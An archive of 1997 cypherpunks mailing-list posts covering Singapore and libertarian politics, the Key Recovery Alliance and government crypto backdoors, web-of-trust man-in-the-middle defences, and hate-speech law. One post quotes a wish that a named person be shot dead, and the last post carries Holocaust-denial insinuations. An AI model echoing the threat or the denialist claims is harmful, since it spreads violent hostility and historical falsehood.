-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sat, 6 Dec 1997 13:16:06 +0800
To: Steve Thompson <cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <881247576199712041419.JAA30815@users.invweb.net>
Message-ID: <3.0.3.32.19971205203955.006e9750@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 11:44 PM 12/4/97 -0500, Steve Thompson wrote:
>Abstinance is murder.
>
>Letting just _one_ egg miss fertilization denies that egg the chance to
become
>a human being.  I think that the felony charge should be manslaughter for
this
>crime as it's not quite as bad as:
>
>Birth control
>
>Birth control is nothing more than premeditated murder, though
>I think that a plea-bargain in most cases should be offered: Drop the
charge
>to manslaughter if the perp agrees to artificial insemination with the
eggs of
>some woman who is unable to get pregnant due to some medical condition.

This, of course is the position of the Mormon Church, and was originally
used to justify the polygamous practices of the early Mormons.  Somehow
this concept (as well as polygamy) was phased out by "new revelations" just
like the "skin of blackness" curse on all non-whites was during the
sixties.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNIjXGcJF0kXqpw3MEQKYVgCg/JSiBQbEt5cH14HNUMO8oYjimfAAn0OM
ZmvqXW1G1EGJKWLimP6Lfmwe
=QZ6P
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 6 Dec 1997 03:47:42 +0800
To: cypherpunks@cyberpass.net
Subject: McAfee on KRAP
Message-ID: <199712051939.UAA20026@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Old press release from McAfee boasting Key Recovery Alliance
membership:

    MCAFEE JOINS KEY RECOVERY ALLIANCE; MULTI-VENDOR GROUP TO
    CREATE INTERNATIONAL STANDARD FOR RECOVERY OF ENCRYPTION
                                     KEYS

    Key Recovery Alliance to Develop Solutions Which Balance
    the Needs of End- Users, Employers, and International
    Governments

    SANTA CLARA, CALIF. (December 12, 1996) -- McAfee (Nasdaq:
    MCAF), a leading vendor of network security and management
    software, today announced that it has joined the Key
    Recovery Alliance, a coalition of encryption software
    vendors who have joined together to promote international
    specifications for encrypted information. "As a member of
    the Alliance, McAfee will work to create an internationally
    recognized and widely available standard for trusted key
    recovery," said Dan Freedman, vice president of security
    products at McAfee. "Trusted key recovery enables the
    responsible deployment of encryption technologies
    worldwide, while addressing the valid interests and
    security requirements of end-users, employers, and
    government."

    McAfee recently extended its family of network security
    products with the introduction of three new encryption
    solutions. These solutions include PCCrypto for encryption
    of desktop computer files and electronic mail; WebCrypto
    for the encryption of Internet email; and NetCrypto for
    transparent encryption of all communications over TCP/IP
    networks such as corporate intranets and the Internet.

    The Key Recovery Alliance was formed in October, and is
    composed of approximately 40 different network security
    vendors who have joined to cooperate on the development and
    promotion of internationally-accepted standards for
    encryption key recovery. Encryption keys are the codes that
    unlock encrypted information. Encryption key recovery
    refers to the necessary ability to recover lost or damaged
    encryption keys. Common situations in which encryption key
    recovery would be needed include when the death or
    departure of an employee who maintained mission-critical
    encrypted information causes the encryption key to be lost;
    when an encryption key becomes damaged due to a hard disk
    crash; or when a court order warrants the decryption of
    computer-based evidence.

    Company Background
    Founded in 1989, McAfee is a leading worldwide vendor of
    Network Security and Management products for enterprise
    networks. The Company is also a leader in Internet and
    Web-based electronic software distribution. McAfee is
    adquartered in Santa Clara, California and can be reached
    by phone at (408) 988-3832 or by fax at (408) 970-9727.
    McAfee's Web address is http://www.mcafee.com.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 6 Dec 1997 11:39:06 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Singapore & Freedom
In-Reply-To: <3.0.32.19971205170800.006c3470@cnw.com>
Message-ID: <199712060334.WAA17775@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.32.19971205170800.006c3470@cnw.com>, on 12/05/97 
   at 05:10 PM, Blanc <blancw@cnw.com> said:

>SingMonger wrote:

>>Don't forget the other good points, no guns or bullets, color
>>copiers are (were?) restricted, all media controlled by the
>>government (even Time magazine was banned), mandatory savings
>>program (CPF), National Service, and the government attitude of
>>those that are not with us are against us.  Also, don't forget
>>that the Singaporean government has brought the Big Brother
>>concept to reality.
>...............................................................

>Sounds like the kind of place suitable for people who don't have a Mind
>of Their Own, nor a personal vision of, or mission in, life (besides
>maintaining an active DNA pool). 

Sounds like slavery to me. Just because one has a gental slavemaster does
not make one any less a slave.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNIjHcI9Co1n+aLhhAQKGtAP/U7aDlg01McDplJpT7zH1T5Z77IW+HoLH
c4LAmulqOdBhOT3mY1wlcJil+hZ2IPiX0Ni7gutAdJLCtk2Mkxmv8A7fr18gGwzR
cdVRJ7+7WJePz/qP3wUukR3+pZXBRyXJf4KWEMEUXbQXoHF8mYYGjc5V0CeQMSC+
a+WQsh3zTpM=
=Stb1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Sat, 6 Dec 1997 06:34:18 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.LNX.3.95.971204135130.369D-100000@is-chief>
Message-ID: <348d673c.36720307@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 05 Dec 1997 15:27:45 -0500, Duncan Frissell wrote:

> And there is a difference between "political 
>rights" and liberty.  I care about the latter and not the former.  Plenty of 
>tyrannical democracies.  I judge governments by how much they leave me alone 
>not by their form.

Don't lecture me. I said "political freedom" by which I mean the liberty to
speak, assemble, &c. I thought that was clear from the contextual reference
to "civil liberties". 

By the way, do you want the government to leave others alone as well? To
murder you, for example? Libertarians want a government capable of, &
focused on, protecting their interests -- just like everyone else*. The
question is: what *is* in my interest: long-term, thought-through, really? 

>Certainly today's economic and technological freedom gives individuals vast 
>money and vast power.  This increases their ability to tell their governments 
>to go fuck themselves.  Whether they will choose to exercise this power, they 
>certainly have it.

Many of those vastly empowered individuals *are* the government. Recall that
I wrote in opposition to the rosy scenario whereby economic progress
inevitably leads to political liberty. Here are a couple of other scenarios:

1) The progress collapses in the face of massive corruption. See Malaysia.
I'd be curious to know if you think this is more or less likely in a fascist
state.

2) The government uses it's newfound technological & industrial capacity, &
taxbase, for nefarious purposes. See fascist Italy, Germany, Japan. Once
again, more or less likely in a fascist state?

I'm no opponent of economic or technological progress, that would be silly.
It engenders greater practical, not just theoretic, freedom (e.g. the
ability to speak globally), goodies are fun, & even basic liberty is much
more difficult to preserve when people are hungry. We can certainly agree on
that. I also oppose large portions of the U.S. government, its criminal &
regulatory structure. I'd like to see it move in the *direction* of
Libertopia. True, I wouldn't want to see it get there, but we can agree on
most short-term & mid-term issues.

But once again, articles like Declan's "hey, Singapore may be 'Disneyland
with the death penalty' but the trains sure run on time" piss me off. The
implied valuation miscalculates my interest, & Declan's also, in my opinion,
to the point of "brain rot," as Seth used to say**. Is a tax cut worth the
enormous increase in arbitrariness in an authoritarian state? 

Apparently, the Joos are responsible for the crisis in Malaysia. Or so the
Grand High Mystical Wizard who heads the country has suddenly decided. Wanna
live there?

As Libertarians point out, there's a huge difference between economic
pressure (e.g. to purchase Windows) & being shot in the head. Abstract it
out a bit -- it applies to comparisons between governments as well.

>No they criticize [corporate welfare] because they don't like to *pay* for it. 
>They believe in lower taxes and smaller governments.

Non-sequiter. You confuse net with gross. 

Paul

*An anarchist believes the most capable, focused government *is* herself.

**Yes, I support Declan's right to make up his own mind on such matters,
but:

1) I believe he may be wrong.
2) I'm not the apologist for authoritarianism.

http://www.nihidyll.com/gallery/Tornado.jpg





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 6 Dec 1997 11:51:17 +0800
To: cypherpunks@toad.com
Subject: Re: Chris Lewis kills babies after he molests them.
In-Reply-To: <3.0.3.32.19971204161846.0391b08c@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971205224327.0392b644@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 07:31 AM 12/5/97 EST, Dr.Dimitri Vulis KOTM wrote:
>"Robert A. Costner" <pooh@efga.org> writes:
>
>> At 12:07 PM 12/4/97 EST, Dr.Dimitri Vulis KOTM wrote:
>> >I might have a good cause of action against Chris Lewis, but the
asshole is
>> >in Canada. (I found out the forger's home address. I hope someone blows
his
>> >fucking brains out, for he surely deserves to die.)
>[snip]
>>
>> In most matters where I have been involved with Chris Lewis, I have tended
>> to side with Chris.
>
>Therefore you're a censorous cocksucker and an asshole.  Fuck you.

My!  What language!  And without a remailer.

At least the "snip" part gave you instructions on how to follow proven
legal procedure to file against alleged spam in a situation like this, so
you no longer have to whine about Chris Lewis being in Canada and you not
having a clue as to how to deal with it.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 6 Dec 1997 07:13:56 +0800
To: wgriffin@enslaved.student.umd.edu
Subject: Re: SynData/Schneier Attack Network Associates
In-Reply-To: <199712052053.PAA14508@enslaved.student.umd.edu>
Message-ID: <199712052301.XAA01334@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




[you are posting to cypherpunks@toad.com... see:
http://www.dcs.ex.ac.uk/~aba/cp.html for where you should be posting
-- hint: the address you are posting to is out of date]

Wesley Griffin <wgriffin@enslaved.student.umd.edu> writes:
> > By "companies like Network Associates", do you mean "companies who are
> > members of the Key Recovery Alliance" (http://www.kra.org)? If so, here are
> > the "companies like Network Associates", in that regard:  [Note RSA is a
> > Charter Member]
> 
> This statement is seriously confusing Key Recovery and Key Escrow.
> They are NOT the same thing.  Everybody knows what Key *Escrow* is
> and that it sucks.

You need to understand Newspeak to understand any crypto documents
written by the government, or government toadies.

To them the key recovery, key escrow are just different PR terms to
try to con people into going along with goverment backdoors in crypto
software.

The key recovery alliance program (KRAP) is a government program to
bribe companies into building government backdoors into their crypto
programs.

The KRAP program requires it's participants to agree to fast track
installation of GAK (Government Access to Keys -- master government
backdoor stuff) into their software.  In exchange for doing this the
companies get permission to export ridiculously weak 56 bit crypto
instead of even more ridiculously weak 40 bit crypto.

They have a 2 year time frame in which to install government master
backdoors into their crypto software.  And there are reviews of
progress made every 6 months -- failure to meet deadlines results in
loss of 56 bit export permission.

> Key Recovery is *very* different in that are no databases kept of
> private keys.  The website you mentioned (http://www.kra.org)
> contains some very good info on how Key Recovery works.  I would
> like to see the source of Schneier's quote also, because I can't
> believe he could get the two confused.

I fully expect Schneier spoke out against KRAP -- the companies
involved are government sell outs.  This is why people are upset that
PGP Inc was just bought out by a KRAP company McAfee (which recently
renamed itself to Network Associates).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Sat, 6 Dec 1997 15:41:29 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: [Mix-L] another mixmaster source branch
In-Reply-To: <199712051943.TAA04959@server.test.net>
Message-ID: <v03102802b0aead94e114@[206.170.115.5]>
MIME-Version: 1.0
Content-Type: text/plain



Obviously I would be happy to put it on mine.

	-Lance

At 7:43 PM +0000 12/5/97, Adam Back wrote:
>Anyone with a export controlled web site in the US like to give home
>to Rich Salz's mixmaster re-write?
>
>Adam
>
>------- Start of forwarded message -------
>Date: Fri, 5 Dec 1997 13:28:32 -0500 (EST)
>From: Rich Salz <rsalz@opengroup.org>
>To: coderpunks@toad.com
>Subject: Take my mixmaster source
>Mime-Version: 1.0
>Content-Type: text/plain; charset=us-ascii
>Content-Transfer-Encoding: 7bit
>Sender: owner-coderpunks@toad.com
>Precedence: bulk
>
>A long time ago, Lance graciously gave me a copy of his mixmaster
>source.  I ended up doing a line-by-line rewrite, splitting it
>into different executables, FSF configure'ing it, etc.
>
>I'm not going to have time to finish it.  There is one bug that
>I know of, an off-by-one error in decoding multi-hop messages.
>
>If you would like fame and fortune and a somewhat interesting
>debugging problem, and you're inside the US or Canada, please
>send me email.  I would like to see this code get released, and
>used.
>
>Thanks.
>------- End of forwarded message -------
>
>To unsubscribe from mix-l, send email to majordomo@alpha.jpunix.com
>with the body of the message containing the line:
>
>unsubscribe mix-l


----------------------------------------------------------
Lance Cottrell   loki@infonex.com
PGP 2.6 key available by finger or server.
http://www.infonex.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 5 Dec 1997 22:06:26 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712041107.GAA29227@users.invweb.net>
Message-ID: <Pine.LNX.3.93.971205231606.459H-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 4 Dec 1997, William H. Geiger III wrote:

[...]

> >For a somewhat better map at least check out the Nolan chart.
> 
> >http://www.self-gov.org/lp-quiz.shtml
> 
> As I stated in my previous post the Nolan chart is flawed. In it's
> attempts to be "two-dimensional" it artificially separates interdependent
> philosophies. Economic Freedom = Personal Freedom.

However there are meany peaple that sepearate these things philosphicly.
Any accruate mesurment of a persons polical views must also take this into
account.

I would argue that while the goverement has no right to stick its noise
into who (or what) I am fucking in the priversy of my bedroom [1],  I
would consider its duity to force comperneys to tell me what (or who) that
have put in the meat pie I eat afterwards. 

This would brake your assurtion that everybody beleaves that EF = PF.  For
anouther example there is a very powerfull group called the lyons forum,
this group is very very pro free trade,  however thay where behind the
scrapping of both ethuenasia laws and other laws desined to increase
personal liberty.

So the devide exists out there and any fair measure of politial option
should measure this.

[1] Given the normal proviso of concenting adults.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

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Charset: noconv

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t86SC4MP9ioQjyWYhzaPNHlg7L59FuyLVL98a5t3howYPnLeKMgXusdPFwLyXSe9
05dCVhXV+GRGdBc5eKH7mQD6vHDAfbUvLDoSPzx8Q1ALLlLTmrkakfemk6snqVgf
OyIfzim3otU=
=DJc5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 6 Dec 1997 14:01:16 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3.0.2.32.19971205152745.036de494@panix.com>
Message-ID: <199712060555.AAA19274@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19971205152745.036de494@panix.com>, on 12/05/97 
   at 03:27 PM, Duncan Frissell <frissell@panix.com> said:

>>*Yes, Libertarians criticize corporate welfare, but just because it corrupts
>>the notion that a person's entire worth can be summarized in a stock
>>portfolio.

>No they criticize it because they don't like to *pay* for it.  They
>believe  in lower taxes and smaller governments.

I think this shows a misunderstanding of the Libertarian philosphy. A
Libertarian opposes the theft of property from one person for the benift
of another. It doesn't matter if is for the benifit of the bean picker in
So. Cal. or for the owner of the bean farm. It is the *theft* at the point
of a gun that is objected to.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
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iQCVAwUBNIjosY9Co1n+aLhhAQIogwP/aiVuLBfSWHGZdyAERGjkGZC7/kr2+DX9
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=e7rX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 6 Dec 1997 08:14:23 +0800
To: smith@securecomputing.com
Subject: WoT discussions, Trust for Nyms
In-Reply-To: <v03007800b0ae121c8f4c@[172.17.1.150]>
Message-ID: <199712060006.AAA01508@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Rick Smith <smith@securecomputing.com> writes:
> I admit I can't figure out what crypto mechanism Kong is really
> using since there's obfuscating talk of passphrases and secrets.

What James describes on the page is that he is storing the private EC
key in a file.  The file is optionally encrypted with a passphrase.
He also describes how the key file can be stored on floppy.  The term
he uses for the private key file is "secrets file".  This much is
fairly standard.

The novel feature is that he includes the PK with the signature.  I
consider this useful, in that if you ever receive a communication, or
read a post you wish to reply to you have all the information required
to reply without going to a keyserver.

You are vulnerable to MITM, but including a reasonable subset of the
WoT with a post is not an option due to size.

Another interesting option with EC is to derive the key from the
passphrase, then there is no private key file.

> Since Kong does not use certificates, it is vulnerable to the Man in the
> Middle (MIM) attack and indeed to forgery. 

Most uses of PGP are subject to the same attack, because people do not
have enough web of trust connectivity.  PGP certificates give you the
tools to avoid MITM attacks when you knew someone before hand.

A widely deployed WoT generally makes MITM harder even when you
converse with people only electronically, because somebody knows them
in person, and this may be reflected in the WoT.

The fact that it is easy to fabricate a whole community of fictitious
people who know each other is interesting also.  One method you could
use to restrict this somewhat is to add a cost function to creating
identities.  A certificate proving certain monies have been paid for
the identity, or a hash collision over a certain size.

> However, I also suspect that the behavior of a long lived cyberspace
> identity would make a MIM attack detectable and/or impractical in
> the long run. If John Doe consistently includes a public key in his
> web site, messages, and postings, then recipients have a relatively
> independent way to validate the key being used in a message
> allegedly from him. 

This is similar to including fingerprints at the bottom of posts.  In
some senses John Doe's web site, messages and postings define who he
is in cyberspace.

> As mentioned above, I haven't used the produt itself. But the
> underlying concept may represent a practical subset of classic
> e-mail security.

I strongly suspect it entails a high percentage of the use of PGP.
Very few people have WoT connections.

And there is the question of what a WoT link means.  The only people I
have direct WoT links to are people who I first met electronically.  I
wouldn't know them from Adam.  How do I know the person I met is the
real Ian Goldberg, or whoever.  

Also an inherent problem is that just because I met Ian Goldberg once
does not mean that all the people he signs keys of are who he thinks
they are.


The problem of preventing MITM can be viewed as the task of making the
MITM's job difficult, and making it difficult for the MITM to perform
many MITMs at once.

One way to go about this is to distribute your belief of other peoples
keys.  The potentially helps to strengthen the WoT because you may
work your way around the MITM by a link he does not control.  For
example you could download the list of email addresses from a
keyserver and spam them all with the set of fingerprints of all the
public key ring that you use (or all of the keys on the keyserver).

Not that they would thank you for it, spamwise, but if there are in
existance any MITM's it could conceivably flush some out.


Another lower bandwidth method of making the MITM's job harder is to
sign and/or publish hashes of public key databases -- download the
keys, or some useful easily definable subset of keys on keyservers,
and publish the hash of them in as many media as possible (web,
finger, news, mail, newspapers, etc.)

For example if the operator of a public key database published a hash
of all the keys in his database in a widely available newspaper, the
MITM now has to make sure that John Doe doesn't see this newspaper, or
that the newspaper John sees has been reprinted espescially for him.
If John Doe is suspicious he will stop a random person in the street
and ask to see the key hash section breifly.

In general John Doe's strategy to avoid being the subject of a MITM
attack should be to be unpredictable in the channels he uses for
authentication and communication.

Let's say John buys a book on cryptography, and the author included
his fingerprint.  Then John could use this person to authenticate a
key with Alice.  He could write to the author, including a nonce with
the plaintext, and ask the author to check that the key he thought
belonged to Alice really did belong to her.


Interlock protocols are another method of complicating the MITM's
task.  If Joe develops the habit of posting the hash of messages he is
about to post a day in advance, the MITM must think of something to
say also, and publish the hash, so that it can publish something a day
later.

As the MITM's messages now don't match with what Joe said, the MITM
has to lie some more to keep up the game.  We would like to overload
the MITM so that his task of lying becomes computationally infeasible.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sat, 6 Dec 1997 16:53:29 +0800
To: Rick Smith <cryptography@c2.net
Subject: Re: Please Beta test my communications cryptography product.
Message-ID: <199712060843.AAA20121@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:19 PM 12/5/97 -0600, Rick Smith wrote:
> I admit I can't figure out what crypto mechanism Kong is really using since
> there's obfuscating talk of passphrases and secrets. 

Your secret key is 240 bit number modulo the order of the generator.  This
number is generated by hashing your secret file and passphrase.

Your public key is an elliptic point, equal to the secret key times 
the generator.

 ---------------------------------------------------------------------
We have the right to defend ourselves and our property, because of 
the kind of animals that we are. True law derives from this right, 
not from the arbitrary power of the state.

http://www.jim.com/jamesd/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 6 Dec 1997 07:52:31 +0800
To: cypherpunks@Algebra.COM
Subject: Singapore & Freedom
Message-ID: <199712052343.AAA20937@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>On Thu, 4 Dec 1997, J. Lasser wrote:

>And Singapore survives quite well being a totalitarian
>capitalist society. Sure, you can pick nits and claim that
>Singapore's not entirely capitalist, but it's more capitalist
>than this country and certainly less free, too.

 > http://cgi.pathfinder.com/netly/editorial/0,1012,266,00.html

>In some ways, Singaporeans are more free than U.S. citizens.
>Income taxes and sales taxes are lower. Prostitution is legal.
>The government does not impose rules on whom private landlords
>can and can't rent to. Unlike some cities in the states,
>Singapore has no curfews. Being able to walk outside safely at
>night in any area of the city, even the poor excuse for the
>city's red light district, has its attractions.

> -Declan

I lived and worked in Singapore for 8 years.  Singapore is not
what I call a free society.  Their system has many advantages,
you are pretty much free to make money providing you are doing so
in an area where the government has no interest.  The Singapore
government runs many enterprises and if you happen to be their
competition they will tear you apart to get rid of the
competition.  The Singaporean government tends to cater to the
multinational corporations, who were their earlier ticket to
economic prosperity, and don't do a lot to encourage local grown
business other than to provide a suitable environment for
business, which is good enough on its own.

Singapore is a great place to do business, yours costs are
predictable, something you can not say about the surrounding
countries where corruption makes costs unpredictable.  Singapore
labor is reasonably priced, well-educated, reasonably trained,
and well-disciplined - or at least they don't talk back or
complain unless you try something really stupid.  Singapore
management is expensive, well-educated, but not quite as
versatile as westerners.

Singapore is a social experiment, a group (read PAP) has gained
control and decided to mold the society into something different
than it was.  This is probably a good thing as in the 50s
Singapore was a cesspool, in many ways.  The story goes that you
could smell Singapore 200 miles out, in an airplane.  Everything
that Singapore is today is what it was not in the 50s.

The educational system has been engineered to produce the maximum
number of worker units.  Being a small country with limited
resources (with labor being the main exportable resource) they
could not afford to have an educational system which allowed some
potential worker units to drop-out.  Compare this against the
American system where you are free to succeed, or free to fail,
the choice is basically given to the citizen.  In Singapore this
is not how it works, the blinders are installed early, you are
not permitted to fail to become a good productive member of the
society.  In Singapore you are free, as long as you are a good
productive member of the society.  Try talking back and
complaining about the system and see where that gets you?  I
think they call it Woodbridge.

This social engineering may be a good thing.  Look at the
benefits obtained by Singapore.  In the current economic meltdown
in SE Asia Singapore is only threatened with lower growth.  The
people are happy and they love their country and government, to
the average Singaporean the government can do no wrong.  Most
Western governments would love to be in the same position.

There are costs associated with an engineered society of this
type.  Elder Statesman Lee, he went by Harry Lee before he
learned Mandarin, is always ranting about all the good genetics
being wasted as there is a large number of educated women who
have not married and therefore are not able to reproduce.  Harry
has been ranting about this for more than 10 years.  In a
nutshell certain segments of the population have lost their
ability to mate.  The Singapore government has initiated a
program to help educated Singaporeans find mates.  Great system,
economic prosperity, but what am I supposed to do with this
thing...

Don't forget the other good points, no guns or bullets, color
copiers are (were?) restricted, all media controlled by the
government (even Time magazine was banned), mandatory savings
program (CPF), National Service, and the government attitude of
those that are not with us are against us.  Also, don't forget
that the Singaporean government has brought the Big Brother
concept to reality.

SingMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Sat, 6 Dec 1997 09:04:00 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3.0.2.32.19971205152745.036de494@panix.com>
Message-ID: <34899afc.7121903@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 5 Dec 1997 18:50:16 -0500, Declan McCullagh wrote:

>You should read the complete article (I provided the URL, after all) before
>complaining that I'm somehow not critical enough of Singapore.

I've read the complete article twice, & I still somehow don't think you're
critical enough of Singapore. Oh well, maybe I'm turning into a pissy,
rabid, anti-authoritarian ideologue in my late youth. It's possible --
besides, I hate Christmas.

I'd kiss your P.S. under the mistletoe ["I value economic freedom quite
highly. Besides, it's part of other freedoms....Forget fetishizing
"democracy," already, and give me freedom!"], though we might tussle over
the exact shape of the Tax Rate vs. Economic Freedom curve. But that's for
another week, & perhaps another mailing list. Time to get drunk & stumble
out into the cold...

Season's greetings,
Paul

http://www.nihidyll.com/gallery/Tornado.jpg





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@witcapital.com
Date: Sat, 6 Dec 1997 14:21:25 +0800
To: cypherpunks@toad.com
Subject: Wit Capital Opens Online Brokerage with Free Trading Offer
Message-ID: <199712060609.WAA22247@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




***************************************
Wit Capital Update
December 4, 1997
www.witcapital.com
***************************************

We're pleased to tell you that Wit Capital's online brokerage service is open and ready to accept your stock orders!

To celebrate the launch of this service, we're making an offer that's hard to beat: open an account by Christmas Day, 1997 and trade FREE* for the entire month of January, 1998.

Our regular fees are only $14.95 per trade for market orders and $19.95 per trade for limit orders. Listed trades over 5,000 shares are subject to a 1-cent per share charge for the entire order in lieu of the above fee.  

Using the online brokerage is easy.  Just visit http://www.witcapital.com and click "Trade" from the menu bar at the top of the page.  Then just follow the prompts.

You can buy, sell or sell short NASDAQ, New York or American Stock Exchange stocks.  We accept market, limit, stop, stop limit and many other types of orders. You'll need to have enough funds, securities or margin buying power in your account to cover your transaction before we can accept your order.  Your cash awaiting investment will receive a competitive money market interest rate.

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Remember, to trade FREE* for the entire month of January, you must open an account by December 25, 1997, so do it today!   Just visit http://www.witcapital.com and click "Open Account" from the menu bar on the left-hand side of the page.




*Maximum 25 free trades in January 1998.  Trades must be 250 shares or more to qualify. 

Member NASD and SIPC






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Sat, 6 Dec 1997 14:07:38 +0800
To: Peter Herngaard <lizard@dnai.com>
Subject: Re: Hate speech in Germany...
Message-ID: <3.0.16.19971206005257.0c1feac8@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:37 AM 12/6/97 +0100, Peter Herngaard wrote:

>However, also the traditional right-wing "liberals" 
>and "conservatives" 
>endorse strict censorship of hate speech.

        You might ask yourself of their genesis. 

>The reason why I do not support any anti-racst organization, except 
>Nizkor, is that most such "human rights" advocacy groups in Europe are in 
>favour of censorship.

        Nizkor is the worst of them all. They even misrepresent physical
laws. 

>The United Nations is a threat to freedom of speech in particular in Europe
>where we have no gaurantee of freedom of speech with similar strength as 
>that the First Amendment provides.

        You folks should get yourselves a 2nd amendment first. 

>It was shocking to observe that states such as China, Nigeria, Pakistan  
>can influence freedom of speech
>from within the U.N. under
>cover of "elimination of all forms of racial discrimination."

        Passing a law in a good cause only invites people to find ways to
use it to their own ends as in Canada against Zundel. 

-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Herngaard <pethern@inet.uni2.dk>
